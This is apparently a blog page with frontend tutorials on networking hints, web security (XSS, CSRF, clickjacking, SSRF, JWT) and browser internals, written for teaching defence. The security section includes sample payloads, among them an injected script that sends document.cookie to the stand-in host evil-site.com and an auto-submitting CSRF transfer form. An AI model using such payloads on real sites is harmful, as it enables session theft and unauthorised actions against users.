<!-- Preconnect to origins -->
<link rel="preconnect" href="https://example.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>

Resource Hints

1
2
3
4
5
6
7
8
<!-- Prefetch: low-priority fetch for future navigation -->
<link rel="prefetch" href="/page-that-user-will-visit-next.html">

<!-- Preload: high-priority fetch for current page -->
<link rel="preload" href="/fonts/font.woff2" as="font" type="font/woff2" crossorigin>

<!-- Prerender: fetch and render in background -->
<link rel="prerender" href="/likely-next-page.html">

Debugging Network Issues

Browser DevTools

  • Network Panel: Monitor requests, timing, headers
  • Performance Panel: Analyze loading performance
  • Application Panel: Inspect storage, cache, service workers

Common Network Issues

  1. CORS Errors: Missing or incorrect headers
  2. Mixed Content: HTTP resources on HTTPS page
  3. Blocked Requests: Browser security, extensions, CSP
  4. Slow Performance: Large payloads, many requests
  5. Certificate Errors: Invalid or expired certificates

Network Testing Tools

  • WebPageTest: Detailed performance analysis
  • Lighthouse: Performance, accessibility, SEO audits
  • Postman/Insomnia: API testing
  • Wireshark: Deep packet inspection
  • Ping/Traceroute: Basic connectivity testing

Learning Resources

  • MDN HTTP Documentation
  • Google Web Fundamentals: Networking
  • High Performance Browser Networking by Ilya Grigorik
  • HTTP/3 Explained by Daniel Stenberg
  • Web.dev: Network Reliability
  • Cloudflare Learning Center

Understanding these network protocols and concepts is essential for building fast, reliable, and secure web applications. As a frontend developer, this knowledge helps you make informed decisions about how to structure your applications and optimize network performance.

  • Web Development
  • HTTP
  • HTTPS
  • WebSockets
  • REST
  • Network

show all >>

Web Security

  2023-06-14
字数统计: 1.8k字   |   阅读时长: 11min

Web Security

Web security is a critical aspect of frontend development. Understanding security vulnerabilities and best practices helps protect users and applications from various attacks. This guide covers key security concepts for frontend developers.

Cross-Site Scripting (XSS)

XSS attacks involve injecting malicious scripts into web pages viewed by other users. These scripts execute in the victim’s browser and can steal cookies, session tokens, or personal information.

Types of XSS Attacks

1. Stored (Persistent) XSS

Malicious script is permanently stored on the target server (e.g., in a database):

  1. Attacker posts a comment with malicious JavaScript on a blog
  2. Server stores the comment in its database
  3. When other users view the page with the comment, the script executes in their browsers
1
2
3
4
5
6
7
8
9
10
<!-- User-generated content with malicious script -->
<div class="comment">
Great article!
<script>
fetch('https://evil-site.com/steal', {
method: 'POST',
body: JSON.stringify({ cookies: document.cookie })
});
</script>
</div>

2. Reflected XSS

Script is reflected off a web server but not stored:

  1. Attacker crafts a URL with malicious code
  2. Victim clicks the link
  3. Server includes the malicious string in the response
  4. Script executes in the victim’s browser
1
https://example.com/search?q=<script>alert(document.cookie)</script>

3. DOM-based XSS

Vulnerability exists in client-side code rather than server-side:

1
2
3
4
// Unsafe code
document.getElementById('output').innerHTML = location.hash.substring(1);

// If the URL has a hash like #<img src=x onerror="alert(1)">, the script will execute

XSS Prevention

1. Output Encoding/Escaping

Always encode user-generated content before inserting it into the DOM:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Instead of:
element.innerHTML = userInput;

// Do this:
element.textContent = userInput; // Automatically escapes HTML

// Or if using innerHTML, sanitize the input:
function escapeHTML(str) {
return str.replace(/[&<>"']/g, function(match) {
return {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#39;'
}[match];
});
}
element.innerHTML = escapeHTML(userInput);

2. Content Security Policy (CSP)

CSP is an HTTP header that restricts which resources can be loaded and executed:

1
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; object-src 'none';

The above policy allows scripts only from the same origin and trusted.com, blocks all plugins.

3. Sanitization Libraries

Use established libraries to clean user input:

1
2
3
4
5
// Using DOMPurify
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

4. Frameworks with Built-in Protection

Modern frameworks like React automatically escape values in JSX:

1
2
3
4
5
6
7
8
9
// In React, this is safe:
function Comment({ text }) {
return <div>{text}</div>; // text is automatically escaped
}

// But this is dangerous:
function Comment({ text }) {
return <div dangerouslySetInnerHTML={{ __html: text }} />; // Only use with sanitized content
}

Cross-Site Request Forgery (CSRF)

CSRF tricks users into performing actions on a website where they’re authenticated, without their knowledge.

CSRF Attack Example

  1. User logs into bank.com and receives a session cookie
  2. Without logging out, user visits malicious-site.com
  3. Malicious site contains a form or script that submits to bank.com/transfer
  4. The browser automatically includes the bank.com cookies with the request
  5. The bank processes the transfer, believing it’s legitimate
1
2
3
4
5
6
7
<!-- On malicious-site.com -->
<body onload="document.forms[0].submit()">
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="recipient" value="attacker" />
<input type="hidden" name="amount" value="1000" />
</form>
</body>

CSRF Prevention

1. CSRF Tokens

Include a unique, unpredictable token with each form submission:

1
2
3
4
<form action="/transfer" method="post">
<input type="hidden" name="csrf_token" value="randomToken123" />
<!-- other form fields -->
</form>

Server-side code must:

  1. Generate the token and store it in the user’s session
  2. Validate the token with each request
  3. Reject the request if the token is missing or invalid

2. SameSite Cookie Attribute

Restricts when cookies are sent with cross-site requests:

1
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

SameSite values:

  • Strict: Cookies only sent in first-party context
  • Lax: Cookies sent with top-level navigations and safe HTTP methods
  • None: Cookies sent in all contexts (requires Secure flag)

3. Custom Headers

AJAX libraries like axios or fetch can automatically include custom headers:

1
2
3
4
5
6
7
8
9
// Browsers enforce Same-Origin Policy for custom headers in XMLHttpRequest/fetch
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest',
// Server should verify this header exists
},
body: formData
});

4. Double Submit Cookie

Set a cookie and include the same value in request parameters:

1
2
3
4
5
6
7
8
9
10
11
// Set a cookie
document.cookie = "doubleCsrfToken=abc123; Secure; SameSite=Lax";

// Include the same token in the request body or URL
fetch('/api/action', {
method: 'POST',
body: JSON.stringify({
csrfToken: 'abc123',
// other data
})
});

The server should verify that the cookie value matches the request parameter.

Clickjacking

Clickjacking (UI redress attack) tricks users into clicking on something different from what they perceive.

Prevention

X-Frame-Options Header

1
X-Frame-Options: DENY

Options:

  • DENY: Page cannot be displayed in a frame
  • SAMEORIGIN: Page can only be displayed in a frame on the same origin
  • ALLOW-FROM uri: Page can only be displayed in a frame on the specified origin

CSP frame-ancestors

Modern alternative to X-Frame-Options:

1
Content-Security-Policy: frame-ancestors 'none';

Options:

  • 'none': No embedding allowed
  • 'self': Same-origin embedding only
  • domain.com: Specific domains allowed

JavaScript Frame-Busting

1
2
3
4
// Basic frame-busting code
if (window !== window.top) {
window.top.location = window.location;
}

Man-in-the-Middle (MITM) Attacks

MITM attacks occur when attackers position themselves between the user and the server to intercept communications.

Prevention

1. HTTPS

Always use HTTPS to encrypt data in transit:

1
2
3
4
// Redirect HTTP to HTTPS
if (location.protocol !== 'https:') {
location.replace(`https:${location.href.substring(location.protocol.length)}`);
}

2. HTTP Strict Transport Security (HSTS)

Instructs browsers to only use HTTPS:

1
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

3. Certificate Pinning

Validates that the server’s certificate matches an expected value:

1
2
3
4
5
// Using fetch with certificate verification (simplified example)
fetch('https://example.com/api', {
method: 'GET',
// Modern browsers handle certificate validation automatically
});

Authentication and Authorization

Secure Password Handling

Never store or transmit passwords in plaintext:

1
2
3
4
5
6
7
8
9
10
// Client-side password handling
async function hashPassword(password) {
// Note: This is just for example. Real password hashing should be done server-side!
const encoder = new TextEncoder();
const data = encoder.encode(password);
const hash = await crypto.subtle.digest('SHA-256', data);
return Array.from(new Uint8Array(hash))
.map(b => b.toString(16).padStart(2, '0'))
.join('');
}

JWT (JSON Web Tokens)

Secure method for representing claims between parties:

1
2
3
4
5
6
7
8
9
// Storing JWT
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');

// Using JWT for authentication
fetch('/api/protected-resource', {
headers: {
'Authorization': `Bearer ${localStorage.getItem('token')}`
}
});

Security Considerations for JWT

  1. Store tokens in HttpOnly cookies to prevent XSS attacks
  2. Use short expiration times
  3. Implement token refresh mechanisms
  4. Validate tokens on the server

OAuth 2.0 and OpenID Connect

Standard protocols for authorization and authentication:

1
2
3
4
5
6
7
8
9
// Redirect to OAuth provider
function redirectToLogin() {
window.location.href =
'https://auth-provider.com/oauth/authorize' +
'?client_id=YOUR_CLIENT_ID' +
'&redirect_uri=https://your-app.com/callback' +
'&response_type=code' +
'&scope=profile email';
}

Content Security Vulnerabilities

Insecure Direct Object References (IDOR)

Exposing internal implementation objects to users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Vulnerable code
app.get('/api/documents/:id', (req, res) => {
// No verification that the user is allowed to access this document
getDocument(req.params.id).then(doc => res.json(doc));
});

// Better approach
app.get('/api/documents/:id', (req, res) => {
// Verify user has access to the document
if (!userCanAccessDocument(req.user, req.params.id)) {
return res.status(403).json({ error: 'Forbidden' });
}
getDocument(req.params.id).then(doc => res.json(doc));
});

Server-Side Request Forgery (SSRF)

Tricking a server into making unintended requests:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Vulnerable code
app.get('/proxy', (req, res) => {
// No validation of the URL
fetch(req.query.url).then(response => response.text()).then(text => res.send(text));
});

// Better approach
app.get('/proxy', (req, res) => {
const url = req.query.url;

// Validate URL against whitelist
if (!isUrlWhitelisted(url)) {
return res.status(403).json({ error: 'URL not allowed' });
}

fetch(url).then(response => response.text()).then(text => res.send(text));
});

Client-Side Data Validation

Always validate data on both client and server:

1
2
3
4
5
6
7
8
// Client-side validation
function validateEmail(email) {
const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return re.test(email);
}

// But remember: client-side validation is for UX, not security
// Always validate on the server too!

Third-Party Dependencies

Dependency Security

Regularly update and audit dependencies:

1
2
3
4
5
# Using npm to audit dependencies
npm audit

# Using npm to fix vulnerabilities
npm audit fix

Subresource Integrity (SRI)

Ensures external resources haven’t been tampered with:

1
2
3
4
5
<script 
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>

Security Testing

Regular Security Audits

Conduct regular security reviews:

  1. Static Analysis Security Testing (SAST)
  2. Dynamic Analysis Security Testing (DAST)
  3. Penetration Testing

OWASP Top 10

Familiarize yourself with the Open Web Application Security Project (OWASP) Top 10 vulnerabilities:

  1. Injection
  2. Broken Authentication
  3. Sensitive Data Exposure
  4. XML External Entities (XXE)
  5. Broken Access Control
  6. Security Misconfiguration
  7. Cross-Site Scripting (XSS)
  8. Insecure Deserialization
  9. Using Components with Known Vulnerabilities
  10. Insufficient Logging & Monitoring

Best Practices Checklist

  • Implement proper input validation and output encoding
  • Use HTTPS for all communications
  • Set secure headers (CSP, HSTS, X-Frame-Options)
  • Implement CSRF protection mechanisms
  • Use secure cookie attributes (HttpOnly, Secure, SameSite)
  • Avoid storing sensitive information in localStorage/sessionStorage
  • Implement proper authentication and authorization
  • Regularly update and audit dependencies
  • Use Content Security Policy to restrict resource loading
  • Implement proper error handling without leaking sensitive information
  • Validate user input on both client and server
  • Use prepared statements for database queries
  • Implement rate limiting to prevent brute force attacks
  • Conduct regular security testing

Learning Resources

  • OWASP Web Security Testing Guide
  • MDN Web Security
  • Google Web Fundamentals - Security
  • Content Security Policy Reference
  • Web.dev Security
  • JWT.io - Learn about JSON Web Tokens

Understanding security fundamentals is essential for building robust web applications that protect user data and maintain trust. Always prioritize security in your development practices.

  • Web Development
  • Security
  • XSS
  • CSRF
  • Authentication

show all >>

Browser Principles

  2023-06-13
字数统计: 2.1k字   |   阅读时长: 12min

Browser Principles

Understanding how browsers work internally is essential for frontend developers to write efficient code and diagnose performance issues. This guide covers the key principles of modern web browsers.

Browser Architecture

Multi-Process Architecture

Modern browsers like Chrome use a multi-process architecture for better security, stability, and performance:

  • Browser Process: Controls the UI, handles user inputs, manages tabs, and coordinates with other processes
  • Renderer Process: Responsible for rendering web pages (one per tab or iframe in most cases)
  • Plugin Process: Runs plugins like Flash (increasingly rare)
  • GPU Process: Handles GPU tasks for rendering
  • Utility Processes: Handle various tasks like network requests, audio, etc.

Benefits of multi-process architecture:

  • If one tab crashes, other tabs remain unaffected
  • Security through process isolation (site isolation)
  • Better performance through parallelization

Threads in the Renderer Process

The renderer process contains several important threads:

  • Main Thread: Handles most tasks like HTML parsing, DOM tree construction, style calculations, layout, painting, and JavaScript execution
  • Compositor Thread: Creates composite layers and sends them to the GPU
  • Raster Threads: Perform rasterization of layers
  • Worker Threads: Run Web Workers, Service Workers, etc.

Rendering Pipeline

When a browser displays a webpage, it follows this rendering pipeline:

1. Navigation

  • User enters a URL
  • Browser process initiates a DNS lookup
  • Establishes TCP connection
  • Performs TLS handshake (for HTTPS)
  • Sends HTTP request
  • Receives response headers and body

2. DOM Construction

  • HTML Parsing: Converts HTML markup into a parse tree
  • DOM Tree Building: Creates the Document Object Model (DOM) tree
  • JavaScript Processing: If the parser encounters a script tag, it stops parsing, downloads (if needed), and executes the script before continuing
  • CSSOM Construction: Builds the CSS Object Model from stylesheets
1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div>
<h1>Hello World</h1>
<p>This is some text.</p>
</div>
<script src="script.js"></script>
</body>
</html>

For the above HTML, the DOM tree would roughly look like:

1
2
3
4
5
6
7
8
html
├── head
│ └── link
└── body
├── div
│ ├── h1 (Hello World)
│ └── p (This is some text.)
└── script

3. Render Tree Construction

  • Combines DOM and CSSOM
  • Only includes visible elements (excludes <head>, hidden elements, etc.)
  • Applies styles to each visible node

4. Layout (Reflow)

  • Calculates the exact position and size of each element in the viewport
  • Determines the location of lines, positions, widths, heights, etc.
  • Outputs a “box model” with precise coordinates

5. Paint

  • Creates layers if needed
  • Fills in pixels for each visual part of the elements (text, colors, borders, etc.)
  • Usually happens on multiple layers

6. Compositing

  • Combines the painted layers into the final image displayed on screen
  • Handles elements with different compositing properties (e.g., opacity, transform)

Critical Rendering Path Optimization

The Critical Rendering Path (CRP) is the sequence of steps the browser goes through to convert HTML, CSS, and JavaScript into actual pixels on the screen.

Optimizing the CRP

  1. Minimize bytes: Reduce file sizes through compression
  2. Reduce critical resources: Load only what’s needed for initial render
  3. Shorten the path length: Optimize the order of loading resources
1
2
3
4
5
6
<!-- Optimizing CSS delivery -->
<link rel="stylesheet" href="critical.css">
<link rel="stylesheet" href="non-critical.css" media="print" onload="this.media='all'">

<!-- Optimizing JS delivery -->
<script src="app.js" defer></script>

Script Loading Strategies

Blocking vs. Non-Blocking Scripts

By default, scripts block HTML parsing while they download and execute:

1
2
<!-- Blocking script -->
<script src="app.js"></script>

Options to prevent blocking:

1
2
3
4
5
<!-- Deferred script - loads in parallel with HTML parsing and executes after parsing -->
<script src="app.js" defer></script>

<!-- Async script - loads in parallel with HTML parsing and executes as soon as available -->
<script src="analytics.js" async></script>

defer vs. async

  • defer:

    • Downloads in parallel with HTML parsing
    • Executes in order after HTML is parsed but before DOMContentLoaded
    • Preserves execution order of multiple scripts
    • Ideal for scripts that need the full DOM and/or depend on each other
  • async:

    • Downloads in parallel with HTML parsing
    • Executes as soon as it’s downloaded, potentially before HTML is fully parsed
    • Does not guarantee execution order
    • Best for independent scripts like analytics

Module Scripts

1
<script type="module" src="app.js"></script>

Module scripts:

  • Are deferred by default
  • Use strict mode by default
  • Can use import/export
  • Are executed only once even if included multiple times

DOM Events

Event Flow Phases

DOM events follow a three-phase propagation model:

  1. Capture Phase: Event travels from the window down to the target element
  2. Target Phase: Event reaches the target element
  3. Bubbling Phase: Event bubbles up from the target to the window
1
2
3
4
5
6
7
8
9
// The third parameter (true) indicates capture phase
document.addEventListener('click', function(event) {
console.log('Capture phase');
}, true);

// The third parameter (false or omitted) indicates bubbling phase
element.addEventListener('click', function(event) {
console.log('Bubbling phase');
}, false);

Event Delegation

Event delegation leverages event bubbling to handle events at a higher level:

1
2
3
4
5
6
7
// Instead of adding event listeners to all list items
document.querySelector('ul').addEventListener('click', function(event) {
if (event.target.tagName === 'LI') {
// Handle the click on the list item
console.log('Clicked on:', event.target.textContent);
}
});

Benefits of event delegation:

  • Fewer event listeners = better performance
  • Dynamically added elements are automatically handled
  • Less memory usage

Stopping Event Propagation

1
2
3
4
5
6
7
8
9
10
element.addEventListener('click', function(event) {
// Prevents further propagation in capturing and bubbling phases
event.stopPropagation();

// Prevents any other listeners on the same element from being called
event.stopImmediatePropagation();

// For form submissions, links, etc.
event.preventDefault();
});

Browser Storage

Cookies

1
2
3
4
5
// Setting a cookie
document.cookie = "name=value; expires=Fri, 31 Dec 2023 23:59:59 GMT; path=/; domain=example.com; secure; samesite=strict";

// Reading cookies
const cookies = document.cookie;

Limitations:

  • ~4KB storage limit
  • Sent with every HTTP request (increasing bandwidth)
  • Can be secured with HttpOnly, Secure flags
  • SameSite attribute helps prevent CSRF attacks

localStorage and sessionStorage

1
2
3
4
5
6
7
8
9
// localStorage (persists across browser sessions)
localStorage.setItem('key', 'value');
const value = localStorage.getItem('key');
localStorage.removeItem('key');
localStorage.clear();

// sessionStorage (cleared when page session ends)
sessionStorage.setItem('key', 'value');
const tempValue = sessionStorage.getItem('key');

Limitations:

  • ~5MB storage limit (varies by browser)
  • Synchronous API (can block the main thread)
  • Limited to same-origin
  • Only stores strings (objects need JSON serialization)

IndexedDB

More powerful, asynchronous storage solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const request = indexedDB.open('myDatabase', 1);

request.onupgradeneeded = function(event) {
const db = event.target.result;
const objectStore = db.createObjectStore('customers', { keyPath: 'id' });
objectStore.createIndex('name', 'name', { unique: false });
};

request.onsuccess = function(event) {
const db = event.target.result;
const transaction = db.transaction(['customers'], 'readwrite');
const objectStore = transaction.objectStore('customers');

objectStore.add({ id: 1, name: 'John', email: 'john@example.com' });

const getRequest = objectStore.get(1);
getRequest.onsuccess = function(event) {
console.log(event.target.result);
};
};

Benefits of IndexedDB:

  • Stores significant amounts of structured data
  • Supports transactions for data integrity
  • Asynchronous API doesn’t block the main thread
  • Can store almost any type of data

Cache API

Used with Service Workers for offline capabilities:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// In a service worker
self.addEventListener('install', function(event) {
event.waitUntil(
caches.open('v1').then(function(cache) {
return cache.addAll([
'/',
'/styles.css',
'/app.js',
'/image.jpg'
]);
})
);
});

self.addEventListener('fetch', function(event) {
event.respondWith(
caches.match(event.request).then(function(response) {
return response || fetch(event.request);
})
);
});

Browser Caching

HTTP Caching

Cache-Control Header

1
Cache-Control: max-age=3600, must-revalidate

Common directives:

  • max-age: Seconds the resource is fresh
  • no-cache: Must validate with server before using cached version
  • no-store: Don’t cache at all
  • public: Any cache can store the response
  • private: Only browser can cache, not intermediaries
  • must-revalidate: Must check if stale before using

ETag and If-None-Match

1
2
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"

The server can respond with 304 Not Modified if the resource hasn’t changed.

Last-Modified and If-Modified-Since

1
2
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT

Types of Caching

  1. Browser Cache: Stores resources on the user’s device
  2. Proxy Caches: Intermediate caches between browser and origin server
  3. CDN Caches: Distributed caches that serve content from locations closer to the user

Strong vs. Weak Caching

Strong Caching (with Cache-Control): Browser uses cached version without checking with server until expiration.

Weak Caching (Conditional Requests): Browser verifies if cached resource is still valid using ETags or Last-Modified.

Browser Security Model

Same-Origin Policy

Prevents a script from one origin from accessing data from another origin. Origins consist of:

  • Protocol (http, https)
  • Domain (example.com)
  • Port (80, 443)
1
2
// This will fail if the origins don't match
fetch('https://another-domain.com/data').then(response => response.json());

Cross-Origin Resource Sharing (CORS)

Relaxes the same-origin policy using HTTP headers:

1
2
3
4
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true

For complex requests, browsers send a preflight OPTIONS request first.

Content Security Policy (CSP)

Restricts resource loading and execution:

1
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; img-src *

Can be set via HTTP header or meta tag:

1
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

Performance Considerations

Reflow and Repaint

Reflow (or Layout) is recalculating element positions and dimensions. It’s triggered by:

  • DOM manipulation (adding/removing nodes)
  • Changing element dimensions or position
  • Changing font, text content, or images that affect dimensions
  • Querying certain element properties (offsetHeight, getComputedStyle, etc.)

Repaint happens when visual styles change without affecting layout:

  • Color changes
  • Visibility changes
  • Background image changes

Reflows are more expensive than repaints. Minimize them by:

1
2
3
4
5
6
7
8
9
// Bad: Causes multiple reflows
element.style.width = '100px';
element.style.height = '100px';
element.style.margin = '10px';

// Better: Batch style changes
element.style.cssText = 'width: 100px; height: 100px; margin: 10px;';
// Or use class changes
element.className = 'my-styled-element';

Rendering Performance Tips

  1. Reduce layout thrashing: Batch DOM reads and writes
  2. Use will-change for animations: Hints the browser about upcoming changes
  3. Use transform and opacity for animations: These can be offloaded to the compositor thread
  4. Avoid forced synchronous layouts: Don’t mix reads and writes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Bad: Causes layout thrashing
for (let i = 0; i < elements.length; i++) {
const height = elements[i].offsetHeight; // Read (forces layout)
elements[i].style.height = (height * 2) + 'px'; // Write (invalidates layout)
}

// Better: Separate reads and writes
const heights = [];
for (let i = 0; i < elements.length; i++) {
heights.push(elements[i].offsetHeight); // Read
}
for (let i = 0; i < elements.length; i++) {
elements[i].style.height = (heights[i] * 2) + 'px'; // Write
}

requestAnimationFrame

Use for smooth visual updates:

1
2
3
4
5
6
7
8
9
10
11
function animate() {
// Update DOM here
element.style.transform = `translateX(${position}px)`;
position += 5;

if (position < 1000) {
requestAnimationFrame(animate);
}
}

requestAnimationFrame(animate);

Benefits:

  • Syncs with the browser’s rendering cycle
  • Pauses in inactive tabs
  • More efficient than setInterval/setTimeout for animations

Browser DevTools

Modern browsers provide powerful developer tools for debugging rendering issues:

  • Performance Panel: Records and analyzes runtime performance
  • Rendering Tool: Visualizes repaints, layout shifts, and layer borders
  • Memory Panel: Investigates memory issues and leaks
  • Network Panel: Analyzes resource loading and caching
  • Application Panel: Inspects storage, service workers, and manifest

Learning Resources

  • Chrome Developers - Inside Browser
  • MDN Web Docs - Browser Rendering
  • web.dev - Rendering Performance
  • HTML5Rocks - Reflows & Repaints
  • MDN Web Docs - HTTP Caching
  • Chrome DevTools Documentation

Understanding browser principles helps you write more efficient code, debug complex issues, and optimize user experience. These concepts are particularly important for frontend interviews at top companies.

  • Web Development
  • Browser
  • Rendering
  • Performance

show all >>

<< 上一页1…1213141516下一页 >>

153 篇 | 133k
次 | 人
这里自动载入天数这里自动载入时分秒
2022-2025 loong loong | 新南威尔士龙龙号